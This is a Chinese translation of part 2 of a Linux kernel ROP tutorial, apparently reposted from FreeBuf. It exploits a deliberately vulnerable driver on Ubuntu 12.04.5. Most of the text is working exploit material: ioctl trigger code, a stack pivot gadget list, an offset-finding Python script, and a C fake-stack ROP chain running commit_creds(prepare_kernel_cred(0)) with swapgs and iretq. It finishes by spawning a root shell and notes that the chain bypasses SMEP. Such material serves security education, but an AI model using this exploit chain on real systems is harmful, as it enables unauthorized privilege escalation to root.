在本教程的第1部分中,我们已经演示了如何为我们的系统(3.13.0-32内核-Ubuntu 12.04.5 LTS)找到有用的ROP gadgets用来构建一个用来提权的ROP链。我们还开发了一个易受攻击的 内核驱动程序 ,允许任意代码执行。这部分我们将使用这个内核模块在实践中演示ROP链:提权,修复系统并干净地“退出”到用户态。
以下是第1部分的ROP链的要求:
执行提权的payload
可以引用驻留在用户空间中的数据(即允许从用户空间获取数据)
驻留在用户空间中的指令可能无法执行
第1部分演示的脆弱的内核模块由于缺少对offset边界的检查从而允许设置一个函数指针指向任意的内存地址。简单的触发代码如下所示:
#define DEVICE_PATH "/dev/vulndrv" ... int main(int argc, char **argv) { int fd; struct drv_req req; req.offset = atoll(argv[1]); fd = open(DEVICE_PATH, O_RDONLY); if (fd == -1) { perror("open"); } ioctl(fd, 0, &req;); return 0; }
在上面的代码段中,我们控制了有漏洞的内核模块中被声明为unsigned long类型的offset,可以引用任何内核或用户空间的内存地址。
因为我们不能将内核控制流重定向到用户空间地址,所以我们需要在内核空间中寻找合适的gadget。在用户空间中准备我们的ROP链,然后将堆栈指针设置到此ROP链的开头。这样,我们不直接执行驻留在用户空间中的指令,而是从用户空间中获取指向内核空间中的指令。
在有漏洞的函数device_ioctl()的开头设断点,我们可以在函数指针解引用之前检查寄存器的值(在device_ioctl()调用之间有一些固定的值)。
0xffffffffa013d0bdnopl 0x0(%rax,%rax,1) 0xffffffffa013d0c2 push %rbp 0xffffffffa013d0c3 mov %rsp,%rbp 0xffffffffa013d0c6 sub $0x30,%rsp 0xffffffffa013d0ca mov %rdi,-0x18(%rbp) 0xffffffffa013d0ce mov %esi,-0x1c(%rbp) 0xffffffffa013d0d1 mov %rdx,-0x28(%rbp) [user-space address of passed req struct] 0xffffffffa013d0d5 mov -0x1c(%rbp),%eax 0xffffffffa013d0d8 test %eax,%eax 0xffffffffa013d0da jne 0xffffffffa013d145 0xffffffffa013d0dc mov -0x28(%rbp),%rax 0xffffffffa013d0e0 mov %rax,-0x10(%rbp) [save req struct address to -0x10(%rbp)] 0xffffffffa013d0e4 mov -0x10(%rbp),%rax 0xffffffffa013d0e8 mov (%rax),%rax 0xffffffffa013d0eb mov %rax,%rsi 0xffffffffa013d0ee mov $0xffffffffa013e066,%rdi 0xffffffffa013d0f5 mov $0x0,%eax 0xffffffffa013d0fa callq 0xffffffff81746ca3 0xffffffffa013d0ff mov -0x10(%rbp),%rax 0xffffffffa013d103 mov (%rax),%rax 0xffffffffa013d106 shl $0x3,%rax 0xffffffffa013d10a add $0xffffffffa013f340,%rax 0xffffffffa013d110 mov %rax,%rsi 0xffffffffa013d113 mov $0xffffffffa013e074,%rdi 0xffffffffa013d11a mov $0x0,%eax 0xffffffffa013d11f callq 0xffffffff81746ca3 0xffffffffa013d124 mov $0xffffffffa013f340,%rdx mov -0x10(%rbp),%rax mov (%rax),%rax 0xffffffffa013d132 shl $0x3,%rax 0xffffffffa013d136 add %rdx,%rax mov %rax,-0x8(%rbp) 0xffffffffa013d13d mov -0x8(%rbp),%rax 0xffffffffa013d141 callq *%rax jmp 0xffffffffa013d146 0xffffffffa013d145 nop 0xffffffffa013d146 mov $0x0,%eax 0xffffffffa013d14b leaveq 0xffffffffa013d14c retq
rax寄存器包含要执行的指令的地址。我们可以提前计算这个地址,因为我们知道ops数组基地址和用于计算函数指针fn()的地址传递的offset的值。例如,给定的ops基地址0xffffffffaaaaaaaf和offset=0×6806288,fn地址为0xffffffffaaaaaaaf+8*0×6806288=0xffffffffdeadbeef。
反过来,我们可以找到在内核空间中执行的目标地址的偏移值。有很多stack pivot的gadgets小工具。例如,以下是用户空间ROP链中遇到的常见stack pivot:
mov %rsp, %rXx ; ret
add %rsp, ...; ret
xchg %rXx, %rsp ; ret
在内核空间中实现任意代码执行需要将栈指针设置为我们控制的用户空间地址。即使我们的测试环境是64位,但是最后一个stack pivot使用32位寄存器,即xchg %eXx, %esp ; ret或xchg %esp, %eXx ; ret。如果$rXx包含有效的内核内存地址(例如0xffffffffXXXXXXXX),则该stack pivot指令将$rXx较低的32位(0xXXXXXXXX作为用户空间地址)设置为新的栈指针。由于该$rax值在执行fn()之前已知,所以我们知道新的用户空间栈将在哪里,并相应地执行mmap操作。
使用第1部分中的ROPGadget工具,我们可以看到内核中有很多合适的包含xchg指令的stack pivots:
0xffffffff81000085 : xchg eax, esp ; ret 0xffffffff81576254 : xchg eax, esp ; ret 0x103d 0xffffffff810242a6 : xchg eax, esp ; ret 0x10a8 0xffffffff8108e258 : xchg eax, esp ; ret 0x11e8 0xffffffff81762182 : xchg eax, esp ; ret 0x12eb 0xffffffff816f4a04 : xchg eax, esp ; ret 0x13e9 0xffffffff81a196fc : xchg eax, esp ; ret 0x1408 0xffffffff814bd0fd : xchg eax, esp ; ret 0x148 0xffffffff8119e39b : xchg eax, esp ; ret 0x148d 0xffffffff813f8ce5 : xchg eax, esp ; ret 0x14c 0xffffffff810db968 : xchg eax, esp ; ret 0x14ff 0xffffffff81d5953e : xchg eax, esp ; ret 0x1589 0xffffffff81951aee : xchg eax, esp ; ret 0x1d07 0xffffffff81703efe : xchg eax, esp ; ret 0x1f3c ...
选择 stack pivot gadget时,唯一的注意事项是需要对齐8个字节(因为ops是8个字节指针的数组,并且其基址正确对齐)。以下简单的脚本可用于查找合适的gadget:
==================== find_offset.py ==================== #!/usr/bin/env python import sys base_addr = int(sys.argv[1], 16) f = open(sys.argv[2], 'r') # gadgets for line in f.readlines(): target_str, gadget = line.split(':') target_addr = int(target_str, 16) # check alignment if target_addr % 8 != 0: continue offset = (target_addr - base_addr) / 8 print 'offset =', (1 <<64) + offset print 'gadget =', gadget.strip() print 'stack addr = %x' % (target_addr & 0xffffffff) break ======================================================== vnik@ubuntu:~$ cat ropgadget | grep ': xchg eax, esp ; ret' > gadgets vnik@ubuntu:~$ ./find_offset.py 0xffffffffa0224340 ./gadgets offset = 18446744073644332003 gadget = xchg eax, esp ; ret 0x11e8 stack addr = 8108e258
上面的栈地址表示ROP链需要mmaped(fake_stack)的用户空间地址:
unsigned long *fake_stack; mmap_addr = stack_addr & 0xfffff000; assert((mapped = mmap((void*)mmap_addr, 0x2000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_POPULATE|MAP_FIXED|MAP_GROWSDOWN, 0, 0)) == (void*)mmap_addr); fake_stack = (unsigned long *)(stack_addr); *fake_stack ++= 0xffffffff810c9ebdUL; /* pop %rdi; ret */ fake_stack = (unsigned long *)(stack_addr + 0x11e8 + 8);
选择的stack pivot中的ret指令具有数字操作数。没有参数的ret指令会将返回地址从堆栈中弹出并跳转到该地址。然而,在某些调用约定(例如Microsoft __stdcall)中,被调用方函数负责清理堆栈。在这种情况下,ret使用一个操作数来表示在获取下一条指令后从堆栈中弹出的字节数。因此,stack pivot之后的第二个ROP gadgets位于偏移位置0x11e8 + 8:一旦执行stack pivot,控制将被转移到下一个gadget,但堆栈指针将处于$rsp + 0x11e8。
参考第1部分的堆栈布局,我们可以在用户空间中准备ROP链,如下所示:
fake_stack = (unsigned long *)(stack_addr); *fake_stack ++= 0xffffffff810c9ebdUL; /* pop %rdi; ret */ fake_stack = (unsigned long *)(stack_addr + 0x11e8 + 8); *fake_stack ++= 0x0UL; /* NULL */ *fake_stack ++= 0xffffffff81095430UL; /* prepare_kernel_cred() */ *fake_stack ++= 0xffffffff810dc796UL; /* pop %rdx; ret */ //*fake_stack ++= 0xffffffff81095190UL; /* commit_creds() */ *fake_stack ++= 0xffffffff81095196UL; /* commit_creds() + 2 instructions */ *fake_stack ++= 0xffffffff81036b70UL; /* mov %rax, %rdi; call %rdx */
我们对第1部分的ROP链进行了一些修改。特别地,commit_creds()地址被移位了2个指令。这样做的原因是我们正在使用call指令执行commit_creds()。在call将控制转移到第一条指令之前,该指令将返回地址保存在堆栈上。和其他函数一样,commit_creds有开头和结尾,能够执行push和pop操作。因此,一旦函数执行,控制将被转移到保存的返回地址。但是,我们希望将其转移到ROP链中的下一个gadget。要使用该call指令作为ROP gadget,我们可以简单地跳过开头的一个push指令:
(gdb) x/10i 0xffffffff81095190 0xffffffff81095190 nopl 0x0(%rax,%rax,1) 0xffffffff81095195 push %rbp 0xffffffff81095196 mov %rsp,%rbp 0xffffffff81095199 push %r13 0xffffffff8109519b mov %gs:0xc7c0,%r13 0xffffffff810951a4 push %r12 0xffffffff810951a6 push %rbx 0xffffffff810951a7 mov %rdi,%rbx 0xffffffff810951aa sub $0x8,%rsp 0xffffffff810951ae mov 0x498(%r13),%r12
跳过push $rbp(和第一个nop)允许我们使用将call指令作为ROP gadget:堆栈上保存的返回地址将被commit_creds()结尾弹出,ret会将控制流转移到ROP链中的下一个gadget。
上述ROP链将给出我们的调用进程超级用户的权限。然而,一旦所有的ROP gadgets被执行,控制将被转移到堆栈上的下一条指令,那里是一些未初始化的内存值。我们需要以某种方式恢复堆栈指针并将控制转移回用户空间进程。
您可能会意识到系统调用会一直切换内核/用户空间上下文。一旦进程执行系统调用,它需要恢复其状态,以便它可以在系统调用之后继续执行下一条指令。这通常使用iret(特权返回)指令从内核空间返回到用户空间进程。但是iret(或在我们的情况下为64位操作数的iretq)期望的特定的堆栈布局如下所示:
我们需要扩展我们的ROP链,以包含一个新的用户空间指令指针(RIP),用户空间堆栈指针(RSP),代码和堆栈段选择器(CS和SS)以及具有各种状态信息的EFLAGS寄存器。可以使用下面的save_state()函数从用户空间进程获取CS,SS和EFLAGS值:
unsigned long user_cs, user_ss, user_rflags; static void save_state() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "pushfq\n" "popq %2\n" : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory"); }
内核.text段的iretq指令的地址可以通过objdump获得:
vnik@ubuntu:~# objdump -j .text -d ~/vmlinux | grep iretq | head -1 ffffffff81053056: 48 cf iretq
最后要注意的是,在执行iret之前,64位系统需要实现swapgs指令。该指令通过用一个MSR中的值交换GS寄存器的内容。在进入内核空间例行程序(例如系统调用)时会执行swapgs指令以获取指向内核数据结构的指针,因此在返回用户空间之前需要一个匹配的swapgs。
我们现在可以将所有的ROP链放在一起:
save_state(); fake_stack = (unsigned long *)(stack_addr); *fake_stack ++= 0xffffffff810c9ebdUL; /* pop %rdi; ret */ fake_stack = (unsigned long *)(stack_addr + 0x11e8 + 8); *fake_stack ++= 0x0UL; /* NULL */ *fake_stack ++= 0xffffffff81095430UL; /* prepare_kernel_cred() */ *fake_stack ++= 0xffffffff810dc796UL; /* pop %rdx; ret */ *fake_stack ++= 0xffffffff81095196UL; /* commit_creds() + 2 instructions */ *fake_stack ++= 0xffffffff81036b70UL; /* mov %rax, %rdi; call %rdx */ *fake_stack ++= 0xffffffff81052804UL; /* swapgs ; pop rbp ; ret */ *fake_stack ++= 0xdeadbeefUL; /* dummy placeholder */ *fake_stack ++= 0xffffffff81053056UL; /* iretq */ *fake_stack ++= (unsigned long)shell; /* spawn a shell */ *fake_stack ++= user_cs; /* saved CS */ *fake_stack ++= user_rflags; /* saved EFLAGS */ *fake_stack ++= (unsigned long)(temp_stack+0x5000000); /* mmaped stack region in user space */ *fake_stack ++= user_ss; /* saved SS */
Ubuntu 12.04.5(x64)的完整EXP可以在 Github 上找到。首先,我们需要使用基地址获取数组偏移量:
vnik@ubuntu:~$ dmesg | grep addr | grep ops [ 244.142035] addr(ops) = ffffffffa02e9340 vnik@ubuntu:~$ ~/find_offset.py ffffffffa02e9340 ~/gadgets offset = 18446744073644231139 gadget = xchg eax, esp ; ret 0x11e8 stack addr = 8108e258
然后,将基地址和偏移地址传递给ROP:
vnik@ubuntu:~/kernel_rop/vulndrv$ gcc rop_exploit.c -O2 -o rop_exploit vnik@ubuntu:~/kernel_rop/vulndrv$ ./rop_exploit 18446744073644231139 ffffffffa02e9340 array base address = 0xffffffffa02e9340 stack address = 0x8108e258 # id uid=0(root) gid=0(root) groups=0(root) #
我们是否提到这将绕过SMEP?:)有更简单的方法绕过SMEP。例如,将CR4bit清除为ROP gadget,然后在用户空间中执行其余的提权payload(即commit_creds(prepare_kernel_cred(0))与iret)。本教程的目标不是绕过一定的保护机制,而是演示内核ROP(整个payload)可以像用户空间中的ROP一样容易地在内核空间中执行。内核ROP有明显的缺点:主要是需要能够获取对内核引导映像的访问(默认为0600)。这不是内核的问题,但是如果没有其他内存泄漏,那么对于自定义内核可能会是一个问题。
*本文 参考来源: Linux Kernel ROP – Ropping your way to # (Part 2) , 作者:houjingyi,转载请注明来自FreeBuf.COM
以上所述就是小编给大家介绍的《Linux内核ROP姿势详解(二)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 我们 的支持!